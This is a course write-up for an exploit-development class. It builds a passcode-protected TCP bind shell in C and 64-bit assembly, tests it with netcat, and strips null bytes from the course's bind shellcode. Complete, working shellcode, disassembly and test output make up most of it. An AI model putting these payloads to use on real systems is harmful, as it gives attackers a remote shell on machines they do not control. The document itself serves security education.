SLAE64 - Assignment #1 - TCP Bind Shell
Introduction
This is the blog post for the 1st Assignment of the SLAE64 course, which is offered by PentesterAcademy. The course focuses on teaching the basics of 64-bit Assembly language for the Intel Architecture (IA-x86_64) family of processors on the Linux platform.
The purpose of this assignment is to create a TCP Bind Shell. A Bind Shell has a listener running on the target machine, by opening a port, and the attacker connects to that listener in order to gain a remote shell. The communication happens over the TCP protocol. Also, the attacker has to provide a passcode and if it’s correct, then the shell gets executed.
Furthermore, the nullbytes (0x00
) have to be removed from the Bind Shellcode of the course. So, the table below is used to navigate to the 2 parts of the assignment.
Part | Description |
---|---|
TCP Bind Shell | TCP Bind Shell with passcode |
Bind Shellcode | Removing 0x00 from the Bind Shellcode of the course |
My code can be found in my Github: geobour98’s Github.
TCP Bind Shell
TCP Bind Shell in C
The easiest way, in my opinion, to create a TCP Bind Shell in Assembly
is to first create it in C
and then “translate” it to ASM code.
In order create the TCP Bind Shell, a few Linux system calls (syscalls
) will be used. They can be found in the following table:
Syscall | Usage |
---|---|
socket | Creates an endpoint for communication |
bind | Binds (assigns) a name to a socket |
listen | Listens for connections on a socket |
accept | Accepts a connection on a socket |
dup2 | Duplicates a file descriptor |
read | Reads from a file descriptor |
execve | Executes a program |
exit | Terminates the calling process |
Declare the passcode that must be provided in order for the shell to be executed and its length:
1
2
char *p = "Password";
int length = strlen(p);
Create a socket:
1
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
Bind a name to the socket, initializing the structure for the TCP/IP address:
1
2
3
4
5
6
7
struct sockaddr_in address = {
.sin_family = AF_INET,
.sin_port = htons(4444),
.sin_addr = INADDR_ANY
};
bind(sockfd, (struct sockaddr*) &address, sizeof(address));
Listen for connections on the socket:
1
listen(sockfd, 0);
Accept a connection on the socket:
1
int acceptfd = accept(sockfd, NULL, NULL);
Duplicate STDIN, STDOUT and STDERR file descriptors in order to redirect everything to the socket connected:
1
2
3
dup2(acceptfd, 0);
dup2(acceptfd, 1);
dup2(acceptfd, 2);
Attempt to read up to 64 bytes from the accepted connection:
1
2
char pass[64];
read(acceptfd, pass, 64);
Compare the passcode from the connection with the predefined and if they match execute the /bin/sh
program.
1
2
3
4
if (strncmp(pass, p, length) == 0)
{
execve("/bin/sh", NULL, NULL);
}
If the passcode from the connection doesn’t match with the predefined terminate the program.
1
2
3
4
else
{
exit(-1);
}
The whole C
program is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
char *p = "Password";
int length = strlen(p);
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in address = {
.sin_family = AF_INET,
.sin_port = htons(4444),
.sin_addr = INADDR_ANY
};
bind(sockfd, (struct sockaddr*) &address, sizeof(address));
listen(sockfd, 0);
int acceptfd = accept(sockfd, NULL, NULL);
dup2(acceptfd, 0);
dup2(acceptfd, 1);
dup2(acceptfd, 2);
char pass[64];
read(acceptfd, pass, 64);
if (strncmp(pass, p, length) == 0)
{
execve("/bin/sh", NULL, NULL);
}
else
{
exit(-1);
}
return 0;
}
Syscall Arguments
The arguments and their values for the syscalls will be explained later in the creation of the TCP Bind Shell in Assembly.
In order to prove that the Bind Shell is working we have to compile the C
program using the GNU Compiler (gcc
):
1
geobour98@slae64-dev:~/SLAE/custom/SLAE64/1_Shell_bind_tcp$ gcc bind-c.c -o bind-c
First, bind-c
gets executed and waits for connections:
1
geobour98@slae64-dev:~/SLAE/custom/SLAE64/1_Shell_bind_tcp$ ./bind-c
Then, in another terminal netstat
is used to display all active TCP connections in listening mode. The connection happens with nc
on port 4444
. Before running any commands, we have to provide the passcode which is Password
. Then, the commands id
and ls
are executed:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
geobour98@slae64-dev:~$ netstat -tanlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:50505 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:7337 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:3790 0.0.0.0:* LISTEN -
tcp 0 0 127.0.1.1:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 3069/bind-c
tcp 0 0 127.0.0.1:58430 127.0.0.1:7337 ESTABLISHED -
tcp 0 0 127.0.0.1:58640 127.0.0.1:7337 ESTABLISHED -
tcp 0 0 127.0.0.1:7337 127.0.0.1:58430 ESTABLISHED -
tcp 0 0 127.0.0.1:58626 127.0.0.1:7337 ESTABLISHED -
tcp 0 0 127.0.0.1:7337 127.0.0.1:58626 ESTABLISHED -
tcp 0 0 127.0.0.1:7337 127.0.0.1:58640 ESTABLISHED -
tcp 0 0 127.0.0.1:7337 127.0.0.1:58522 ESTABLISHED -
tcp 0 0 127.0.0.1:58522 127.0.0.1:7337 ESTABLISHED -
tcp6 0 0 ::1:631 :::* LISTEN -
geobour98@slae64-dev:~$ nc localhost 4444
Password
id
uid=1000(geobour98) gid=1000(geobour98) groups=1000(geobour98),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
ls
bind-c
bind-c.c
bind-shellcode-course
bind-shellcode-course.nasm
bind-shellcode-course.o
bindshell
bindshell.nasm
bindshell.o
compile.sh
exit
geobour98@slae64-dev:~$
Now we can check that with a wrong passcode the program is terminated. We execute again bind-c
and wait for connections.
We connect again with nc
and provide the wrong passcode WrongPassword
. The program is terminated.
1
2
3
geobour98@slae64-dev:~$ nc localhost 4444
WrongPassword
geobour98@slae64-dev:~$
Syscalls
In order to implement the syscalls in Assembly, we have to find their defined numbers. These are located at the header file: /usr/include/x86_64-linux-gnu/asm/unistd_64.h
.
The syscalls and their definitions can be found in the following table:
Syscall | Definition |
---|---|
socket | #define __NR_socket 41 |
bind | #define __NR_bind 49 |
listen | #define __NR_listen 50 |
accept | #define __NR_accept 43 |
dup2 | #define __NR_dup2 33 |
read | #define __NR_read 0 |
execve | #define __NR_execve 59 |
exit | #define __NR_exit 60 |
Now we have to find the arguments and their values in order to be used in the syscalls.
- Syscall
socket
:
1
int socket(int domain, int type, int protocol);
The domain
argument specifies a communication domain. Since we operate through IPv4 protocol, we will use the AF_INET
address family, which according to the socket header file: /usr/include/x86_64-linux-gnu/bits/socket.h
belongs to the PF_INET
protocol family. This protocol family is represented by the number 2
.
The type
argument specifies the communication semantics. We will use SOCK_STREAM
, since it provides sequenced, reliable, two-way, connection-based byte streams. According to the socket_type header file: /usr/include/x86_64-linux-gnu/bits/socket_type.h
, SOCK_STREAM
is represented by the number 1
.
The protocol
argument specifies a particular protocol to be used with the socket. Normally only a single protocol exists to support a particular socket type within a given protocol family, in which case protocol
can be specified as 0
.
The return value from socket
is a file descriptor for the new socket, if socket was executed successfully.
- Syscall
bind
:
1
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
The sockfd
argument is the file descriptor returned from socket
execution. It is an integer value.
The *addr
argument is the address structure that will be assigned to the socket. The structure consists of 3 values. The first value is the AF_INET
, which from before is the number 2
. The second value is the port that will be opened in order to listen for connections, which in our case is 4444
. The third value is the interface that the socket will listen on. We provide the value 0
in order to listen on all interfaces (0.0.0.0
).
The addrlen
argument is the size, in bytes, of the address structure pointed to by addr
. According to the header file: /usr/include/linux/in.h
the size is 16
bytes.
- Syscall
listen
:
1
int listen(int sockfd, int backlog);
The sockfd
argument is the integer value that is returned from the socket
execution.
The backlog
argument defines the maximum length to which the queue of pending connections for sockfd
may grow. We don’t need it in our case, so we pass to it the value 0
.
- Syscall
accept
:
1
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
The sockfd
argument again is the integer value that is returned from the socket
execution.
The *addr
argument is a pointer to a sockaddr
structure. The addr
is NULL
, when nothing is filled in.
When *addr
is NULL, it means that the argument addrlen
is not used and should also be NULL
.
On success, accept
returns a nonnegative integer that is a descriptor for the accepted socket.
- Syscall
dup2
:
1
int dup2(int oldfd, int newfd);
The argument oldfd
is the nonnegative integer returned from accept4
.
If the descriptor newfd
was previously open, it is silently closed before being reused. If oldfd
is a valid file descriptor, and newfd
has the same value as oldfd
, then dup2
does nothing, and returns newfd
. We execute dup2
3 times in order to pass the values: 0
for STDIN
, 1
for STDOUT
and 2
for STDERR
.
On success dup2
returns the new descriptor.
- Syscall
read
:
1
ssize_t read(int fd, void *buf, size_t count);
The fd
argument is the return value from the accept4
syscall, which is a nonnegative integer on success.
The *buf
argument is the buffer, where the bytes from the file descriptor are stored.
The count
argument is the maximum number of bytes that will be read from the file descriptor.
On success read
returns the number of bytes read.
- Syscall
execve
:
1
int execve(const char *filename, char *const argv[], char *const envp[]);
The *filename
argument must be either a binary executable or a script, so we pass to it the executable “bin/sh”.
The argv
argument is an array of argument strings passed to the new program. The envp
argument is an array of strings, conventionally of the form “key=value”, which are passed as environment to the new program. Since we don’t need any of these we pass the value NULL
.
- Syscall
exit
:
1
void _exit(int status);
The status
argument is returned to the parent process as the process’s exit status, which in our case is -1
, declaring that the program terminated unsuccessfully when the passcode is wrong.
TCP Bind Shell in Assembly
Now we will examine the Assembly
instructions in detail.
- Syscall
socket
We first clear the register RAX
and then add to it the hexadecimal value 0x29
, which in decimal is 41
.
1
2
xor rax, rax
add al, 0x29 ; 29 is the hex value of the decimal 41 for socket
Then we clear the RDI
register and add to it the value 2
, since it is the PF_INET
protocol family.
1
2
xor rdi, rdi
add rdi, 0x2 ; AF_INET numeric value from PF_INET protocol family
After that, we clear the RSI
register and add to it the value 1
, since this is the value of SOCK_STREAM
constant.
1
2
xor rsi, rsi
add rsi, 0x1 ; SOCK_STREAM constant from socket_type.h
We clear the RDX
register and the value 0
, because of the single protocol, is passed as the third argument to socket
syscall.
1
xor rdx, rdx ; 0 value because of single protocol
Then, in order to actually execute the syscall, we run the following instruction:
1
syscall ; exec socket syscall
The socket
syscall returns a file descriptor (sockfd
), so we copy it to the RDI
register, since the result of the syscall is saved in the RAX
register by default.
1
mov rdi, rax ; move sockfd (file descriptor) value into rdi
- Syscall
bind
We clear the RAX
register and push the value 0
to the stack.
1
2
xor rax, rax
push rax
We start with the values for the address
structure.
Since the register RAX
already contains the value 0
, we move its value where RSP
points minus 4 bytes, so the socket listens on all interfaces (0.0.0.0
).
1
mov dword [rsp - 4], eax ; listens on all addresses (0.0.0.0)
Then, since we are dealing with little endianness the port with decimal value 4444
and hexadecimal 115c
, becomes 5c11
.
1
mov word [rsp - 6], 0x5c11 ; listen on port 4444 (little endian)
After that, we move the value 2
, where RSP
points minus 8 bytes, for the AF_INET
constant.
1
mov byte [rsp - 8], 0x2 ; AF_INET constant
We restore RSP
register that now points at the top of the stack.
1
sub rsp, 8 ; rsp points at the top of the stack
We add the hexadecimal value 0x31
, which in decimal is 49
, for the bind
syscall.
1
add al, 0x31 ; 31 is the hex value of the decimal 49 for bind
The RDI
register already contains the value of sockfd
from socket
.
The RSI
register now points at the top of the stack, where is the address struct.
1
mov rsi, rsp ; rsi now points at address struct at the top of the stack
We clear the RDX
register, and pass the hexadecimal value 0x10
(16
in decimal), since that is the size of the address struct.
1
2
xor rdx, rdx
add rdx, 0x10 ; 10 is the decimal 16 that is the size of the address struct
The final step is to execute the bind
syscall.
1
syscall ; exec bind syscall
- Syscall
listen
We clear the RAX
register, and then add to it the hexadecimal value 0x32
(50
in decimal) as the definition number for listen
syscall.
1
2
xor rax, rax
add al, 0x32 ; 32 is the hex value of the decimal 50 for listen
The RDI
register already contains the value of sockfd
from socket
.
Then we clear the RSI
register in order to have the value 0
for the backlog value.
1
xor rsi, rsi
Finally, we execute the listen
syscall.
1
syscall ; exec listen syscall
- Syscall
accept
We clear the RAX
register and add to it the hexadecimal value 0x2b
(43
in decimal) as the definition number for accept
syscall.
1
2
xor rax, rax
add rax, 0x2b ; 2b is the hex value of the decimal 43 for accept
The RDI
register already contains the value of sockfd
from socket
and we can ignore the rest arguments, since they have NULL
value.
Finally, the accept
syscall gets executed.
1
syscall ; exec accept syscall
- Syscall
dup2
Since we need the return value from accept
for the dup2
syscall, we copy the result from RAX
register to RDI
.
1
mov rdi, rax ; acceptfd
We create a loop that will execute dup2
3 times for STDERR
, STDOUT
and STDIN
respectively. So, we clear the RSI
register and add the value 0x3
to it, which is the counter for the loop.
1
2
xor rsi, rsi
add rsi, 0x3 ; set counter to 3
We first declare the procedure dup2loop
, which acts like a function, where we clear the RAX
register and add the hexadecimal value 0x21
(33
in decimal) to it as the dup2
syscall number. Then, we decrement the counter (RSI
) by 1, so in the first iteration the value inside RSI
will be 2
, representing the STDERR
. 2 more iterations will happen with value 1
and 0
for STDOUT
and STDIN
respectively. Each iteration is finished by executing the dup2
syscall and by creating a conditional instruction. That instruction checks if the Zero Flag (ZF
) is set, meaning it has value 0
, and if it is, the loop is stopped and the execution is continued. If it is not 0
a jump
happens back to dup2loop
. In the third iteration, RSI
is decremented to 0
, so the ZF
is set, and the execution will continue to the next instructions and there will not be a jump back to dup2loop
.
1
2
3
4
5
6
7
8
9
dup2loop:
xor rax, rax
add al, 0x21 ; 21 is the hex value of the decimal 33 for dup2
dec rsi ; decrement counter by 1
syscall ; exec dup2 syscall
jnz dup2loop ; jump to loop if ZF is not zero, else continue
- Syscall
read
We clear the RAX
register in order to have the value 0
as the read
syscall number and RSI
points at the top of the stack.
1
2
3
xor rax, rax ; 0 for read syscall
mov rsi, rsp
We clear the RDX
register and add to it the value 8
as the size of the password that is going to be read.
1
2
xor rdx, rdx
add dl, 8 ; read size
Finally, we execute the read
syscall.
1
syscall ; exec read syscall
RDI
register points at the top of the stack, where the provided password is from the read
syscall.
1
mov rdi, rsp ; password in buffer
Now we have to pass the correct passcode, which is Password
, to RAX
in order to compare it with the one from read
syscall. But we have to pass it in reverse since we are dealing with little endianness. The following python
script will help us achieve that.
1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python
import sys
input = sys.argv[1]
print 'String length: ' + str(len(input))
stringList = [input[i:i+8] for i in range(0, len(input), 8)]
for item in stringList[::-1]:
print item[::-1] + ' : ' + str(item[::-1].encode('hex'))
We run the above script by providing the correct password (Password
) we want to be reversed.
1
2
3
geobour98@slae64-dev:~/SLAE/custom/SLAE64/1_Shell_bind_tcp$ ./reverse.py Password
String length: 8
drowssaP : 64726f7773736150
Now we move that value to the RAX
register.
1
mov rax, 0x64726f7773736150 ; "drowssaP"
Next, we are using the scasq
instruction, which compares memory to register. The value in memory is the buffer with the password from the read
syscall and the register that is compared is RAX
by default, where we have stored the correct passcode.
1
scasq ; compare string in buffer with passcode
If the 2 values are the same, the provided passcode matches with the correct one, the Zero Flag (ZF
) is set. So, the next instruction is ignored and the execve
syscall is executed. If they don’t match, which means that the passcode is wrong, we jump to the exit
procedure.
1
jnz exit ; if they don't match jmp to exit
- Syscall
exit
We clear the RAX
register and add to it the hex value 0x3c
(60
in decimal) as the exit
syscall number.
1
2
3
exit:
xor rax, rax
add rax, 0x3c ; 3c is the hex value of the decimal 60 for exit
Then, we clear the RDI
register and decrement its value to -1
in order to set the status and exit the program unsuccessfully.
1
2
xor rdi, rdi
dec rdi ; status
Finally, we execute the exit
syscall.
1
syscall ; exec exit syscall
- Syscall
execve
We clear the RAX
register and push the value 0
to the stack.
1
2
xor rax, rax
push rax
Since “/bin/sh” is only 7 bytes, we need to make it 8 bytes. That is because when a string is pushed to the stack it must be multiplied by 8. The safest way to do that, without breaking any functionality, is to add a /
. So we will use the same python
script like before to reverse the “/bin//sh” string.
1
2
3
geobour98@slae64-dev:~/SLAE/custom/SLAE64/1_Shell_bind_tcp$ ./reverse.py "/bin//sh"
String length: 8
hs//nib/ : 68732f2f6e69622f
Now we save that in RBX
register and then push it to the stack.
1
2
mov rbx, 0x68732f2f6e69622f ; "hs//nib/"
push rbx
RDI
points at the top of the stack, where is the string “/bin//sh” as the first argument for execve
.
1
mov rdi, rsp ; rdi points at "/bin//sh" at the top of the stack
Then, we push another NULL
and save the current RSP
memory address to RDX
as the third argument from execve
.
1
2
3
push rax ; NULL
mov rdx, rsp ; rdx points at the top of the stack
We push the memory address of the string “/bin//sh” to the stack and save that memory location to RSI
as the second argument for execve
.
1
2
3
push rdi
mov rsi, rsp
We add to RAX
the hex value 0x3b
(59
in decimal) as the syscall number for execve
.
1
add al, 0x3b ; 3b is the hex value of the decimal 59 for execve
Finally, we execute the execve
syscall.
1
syscall ; exec execve syscall
The whole Assembly
program is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
global _start
section .text
_start:
; socket
xor rax, rax
add al, 0x29 ; 29 is the hex value of the decimal 41 for socket
xor rdi, rdi
add rdi, 0x2 ; AF_INET numeric value from PF_INET protocol family
xor rsi, rsi
add rsi, 0x1 ; SOCK_STREAM constant from socket_type.h
xor rdx, rdx ; 0 value because of single protocol
syscall ; exec socket syscall
mov rdi, rax ; move sockfd (file descriptor) value into rdi
; bind
xor rax, rax
push rax
mov dword [rsp - 4], eax ; listens on all addresses (0.0.0.0)
mov word [rsp - 6], 0x5c11 ; listen on port 4444 (little endian)
mov word [rsp - 8], 0x2 ; AF_INET constant
sub rsp, 8 ; rsp points at the top of the stack
add al, 0x31 ; 31 is the hex value of the decimal 49 for bind
mov rsi, rsp ; rsi now points at address struct at the top of the stack
xor rdx, rdx
add rdx, 0x10 ; 10 is the decimal 16 that is the size of the address struct
syscall ; exec bind syscall
; listen
xor rax, rax
add al, 0x32 ; 32 is the hex value of the decimal 50 for listen
xor rsi, rsi
syscall ; exec listen syscall
; accept
xor rax, rax
add rax, 0x2b ; 2b is the hex value of the decimal 43 for accept
syscall ; exec accept syscall
mov rdi, rax ; acceptfd
; dup2 loop
xor rsi, rsi
add rsi, 0x3 ; set counter to 3
dup2loop:
xor rax, rax
add al, 0x21 ; 21 is the hex value of the decimal 33 for dup2
dec rsi ; decrement counter by 1
syscall ; exec dup2 syscall
jnz dup2loop ; jump to loop if ZF is not zero, else continue
; read
xor rax, rax ; 0 for read syscall
mov rsi, rsp
xor rdx, rdx
add dl, 8 ; read size
syscall ; exec read syscall
mov rdi, rsp ; password in buffer
mov rax, 0x64726f7773736150 ; "drowssaP"
scasq ; compare string in buffer with passcode
jnz exit ; if they don't match jmp to exit
; execve
xor rax, rax
push rax
mov rbx, 0x68732f2f6e69622f ; "hs//nib/"
push rbx
mov rdi, rsp ; rdi points at "/bin//sh" at the top of the stack
push rax ; NULL
mov rdx, rsp ; rdx points at the top of the stack
push rdi
mov rsi, rsp
add al, 0x3b ; 3b is the hex value of the decimal 59 for execve
syscall ; exec execve syscall
exit:
xor rax, rax
add rax, 0x3c ; 3c is the hex value of the decimal 60 for exit
xor rdi, rdi
dec rdi ; status
syscall ; exec exit syscall
Testing the Bind Shell
In order to test the Bind Shell, we need to compile it. Compilation process consists of 2 separate processes:
- Assembling: can happen with the
nasm
assembler, which assembles the input file (.nasm
) and directs output to the output file (.o
) if specified. It basically “translates” theAssembly
code. - Linking: can happen with the GNU linker
ld
, which combines a number of object and archive files, relocates their data and ties up symbol references. It basically provides information such as where the entry point of a program is. By default the entry point is_start
but this can be changed.
The following bash
script automates that process:
1
2
3
4
5
6
7
8
9
#!/bin/bash
echo '[+] Assembling with Nasm ... '
nasm -felf64 -o $1.o $1.nasm
echo '[+] Linking ... '
ld -o $1 $1.o
echo '[+] Done!'
The following command does the compilation and creates the executable bind
:
1
2
3
4
geobour98@slae64-dev:~/SLAE/custom/SLAE64/1_Shell_bind_tcp$ ./compile.sh bind
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
We test the Bind Shell by executing in one terminal window the bind
executable and in another we connect with nc
on port 4444
, provide the passcode: Password
and execute the commands id
and ls
.
1st window:
1
geobour98@slae64-dev:~/SLAE/custom/SLAE64/1_Shell_bind_tcp$ ./bind
2nd window:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
geobour98@slae64-dev:~$ nc localhost 4444
Password
id
uid=1000(geobour98) gid=1000(geobour98) groups=1000(geobour98),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
ls
bind
bind-c
bind-c.c
bind-shellcode-course
bind-shellcode-course.nasm
bind-shellcode-course.o
bind.nasm
bind.o
compile.sh
reverse.py
exit
geobour98@slae64-dev:~$
Now we can check that with a wrong passcode the program is terminated. We execute again bind
and wait for connections.
We connect again with nc
and provide the wrong passcode WrongPassword
. The program is terminated.
1
2
3
geobour98@slae64-dev:~$ nc localhost 4444
WrongPassword
geobour98@slae64-dev:~$
Bind Shellcode
The initial version of the Bind Shellcode of the course, which contained nullbytes, is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
global _start
_start:
; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41
mov rax, 41
mov rdi, 2
mov rsi, 1
mov rdx, 0
syscall
; copy socket descriptor to rdi for future use
mov rdi, rax
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = INADDR_ANY
; bzero(&server.sin_zero, 8)
xor rax, rax
push rax
mov dword [rsp - 4], eax
mov word [rsp - 6], 0x5c11
mov word [rsp - 8], 0x2
sub rsp, 8
; bind(sock, (struct sockaddr *)&server, sockaddr_len)
; syscall number 49
mov rax, 49
mov rsi, rsp
mov rdx, 16
syscall
; listen(sock, MAX_CLIENTS)
; syscall number 50
mov rax, 50
mov rsi, 2
syscall
; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
; syscall number 43
mov rax, 43
sub rsp, 16
mov rsi, rsp
mov byte [rsp - 1], 16
sub rsp, 1
mov rdx, rsp
syscall
; store the client socket description
mov r9, rax
; close parent
mov rax, 3
syscall
; duplicate sockets
; dup2 (new, old)
mov rdi, r9
mov rax, 33
mov rsi, 0
syscall
mov rax, 33
mov rsi, 1
syscall
mov rax, 33
mov rsi, 2
syscall
; first null push
xor rax, rax
push rax
; push /bin//sh in reverse
mov rbx, 0x68732f2f6e69622f
push rbx
; store /bin//sh address in RDI
mov rdi, rsp
; second null push
push rax
; set RDX
mov rdx, rsp
; push address pf /bin//sh
push rdi
; set RSI
mov rsi, rsp
; call execve
add rax, 59
syscall
In order to view those 0x00
we compile bind-shellcode-course.nasm
and use the objdump
program, which displays information from object files, by displaying assembler contents and instructions in Intel syntax.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
geobour98@slae64-dev:~/SLAE/custom/SLAE64/1_Shell_bind_tcp$ ./compile.sh bind-shellcode-course
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
geobour98@slae64-dev:~/SLAE/custom/SLAE64/1_Shell_bind_tcp$ objdump -d ./bind-shellcode-course -M intel
./bind-shellcode-course: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: b8 29 00 00 00 mov eax,0x29
400085: bf 02 00 00 00 mov edi,0x2
40008a: be 01 00 00 00 mov esi,0x1
40008f: ba 00 00 00 00 mov edx,0x0
400094: 0f 05 syscall
400096: 48 89 c7 mov rdi,rax
400099: 48 31 c0 xor rax,rax
40009c: 50 push rax
40009d: 89 44 24 fc mov DWORD PTR [rsp-0x4],eax
4000a1: 66 c7 44 24 fa 11 5c mov WORD PTR [rsp-0x6],0x5c11
4000a8: 66 c7 44 24 f8 02 00 mov WORD PTR [rsp-0x8],0x2
4000af: 48 83 ec 08 sub rsp,0x8
4000b3: b8 31 00 00 00 mov eax,0x31
4000b8: 48 89 e6 mov rsi,rsp
4000bb: ba 10 00 00 00 mov edx,0x10
4000c0: 0f 05 syscall
4000c2: b8 32 00 00 00 mov eax,0x32
4000c7: be 02 00 00 00 mov esi,0x2
4000cc: 0f 05 syscall
4000ce: b8 2b 00 00 00 mov eax,0x2b
4000d3: 48 83 ec 10 sub rsp,0x10
4000d7: 48 89 e6 mov rsi,rsp
4000da: c6 44 24 ff 10 mov BYTE PTR [rsp-0x1],0x10
4000df: 48 83 ec 01 sub rsp,0x1
4000e3: 48 89 e2 mov rdx,rsp
4000e6: 0f 05 syscall
4000e8: 49 89 c1 mov r9,rax
4000eb: b8 03 00 00 00 mov eax,0x3
4000f0: 0f 05 syscall
4000f2: 4c 89 cf mov rdi,r9
4000f5: b8 21 00 00 00 mov eax,0x21
4000fa: be 00 00 00 00 mov esi,0x0
4000ff: 0f 05 syscall
400101: b8 21 00 00 00 mov eax,0x21
400106: be 01 00 00 00 mov esi,0x1
40010b: 0f 05 syscall
40010d: b8 21 00 00 00 mov eax,0x21
400112: be 02 00 00 00 mov esi,0x2
400117: 0f 05 syscall
400119: 48 31 c0 xor rax,rax
40011c: 50 push rax
40011d: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f2f6e69622f
400124: 2f 73 68
400127: 53 push rbx
400128: 48 89 e7 mov rdi,rsp
40012b: 50 push rax
40012c: 48 89 e2 mov rdx,rsp
40012f: 57 push rdi
400130: 48 89 e6 mov rsi,rsp
400133: 48 83 c0 3b add rax,0x3b
400137: 0f 05 syscall
The majority of the changes were to convert an instruction: mov rax, 41
to 2 instructions: xor rax, rax
and add rax, 41
in order to remove nullbytes and preserve the functionality. So, the updated version (bind-shellcode-course.nasm
) is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
global _start
_start:
mov al, 41
xor rdi, rdi
add rdi, 2
xor rsi, rsi
add rsi, 1
xor rdx, rdx
syscall
mov rdi, rax
xor rax, rax
push rax
mov dword [rsp - 4], eax
mov word [rsp - 6], 0x5c11
mov byte [rsp - 8], 0x2
sub rsp, 8
add rax, 49
mov rsi, rsp
xor rdx, rdx
add rdx, 16
syscall
xor rax, rax
add rax, 50
xor rsi, rsi
add rsi, 2
syscall
xor rax, rax
add rax, 43
sub rsp, 16
mov rsi, rsp
mov byte [rsp - 1], 16
sub rsp, 1
mov rdx, rsp
syscall
mov r9, rax
xor rax, rax
add rax, 3
syscall
mov rdi, r9
xor rax, rax
add rax, 33
xor rsi, rsi
syscall
xor rax, rax
add rax, 33
xor rsi, rsi
add rsi, 1
syscall
xor rax, rax
add rax, 33
xor rsi, rsi
add rsi, 2
syscall
xor rax, rax
push rax
mov rbx, 0x68732f2f6e69622f
push rbx
mov rdi, rsp
push rax
mov rdx, rsp
push rdi
mov rsi, rsp
add rax, 59
syscall
After compilation and execution of the objdump
program we can see that there are no nullbytes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
geobour98@slae64-dev:~/SLAE/custom/SLAE64/1_Shell_bind_tcp$ ./compile.sh bind-shellcode-course
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
geobour98@slae64-dev:~/SLAE/custom/SLAE64/1_Shell_bind_tcp$ objdump -d ./bind-shellcode-course -M intel
./bind-shellcode-course: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: b0 29 mov al,0x29
400082: 48 31 ff xor rdi,rdi
400085: 48 83 c7 02 add rdi,0x2
400089: 48 31 f6 xor rsi,rsi
40008c: 48 83 c6 01 add rsi,0x1
400090: 48 31 d2 xor rdx,rdx
400093: 0f 05 syscall
400095: 48 89 c7 mov rdi,rax
400098: 48 31 c0 xor rax,rax
40009b: 50 push rax
40009c: 89 44 24 fc mov DWORD PTR [rsp-0x4],eax
4000a0: 66 c7 44 24 fa 11 5c mov WORD PTR [rsp-0x6],0x5c11
4000a7: c6 44 24 f8 02 mov BYTE PTR [rsp-0x8],0x2
4000ac: 48 83 ec 08 sub rsp,0x8
4000b0: 48 83 c0 31 add rax,0x31
4000b4: 48 89 e6 mov rsi,rsp
4000b7: 48 31 d2 xor rdx,rdx
4000ba: 48 83 c2 10 add rdx,0x10
4000be: 0f 05 syscall
4000c0: 48 31 c0 xor rax,rax
4000c3: 48 83 c0 32 add rax,0x32
4000c7: 48 31 f6 xor rsi,rsi
4000ca: 48 83 c6 02 add rsi,0x2
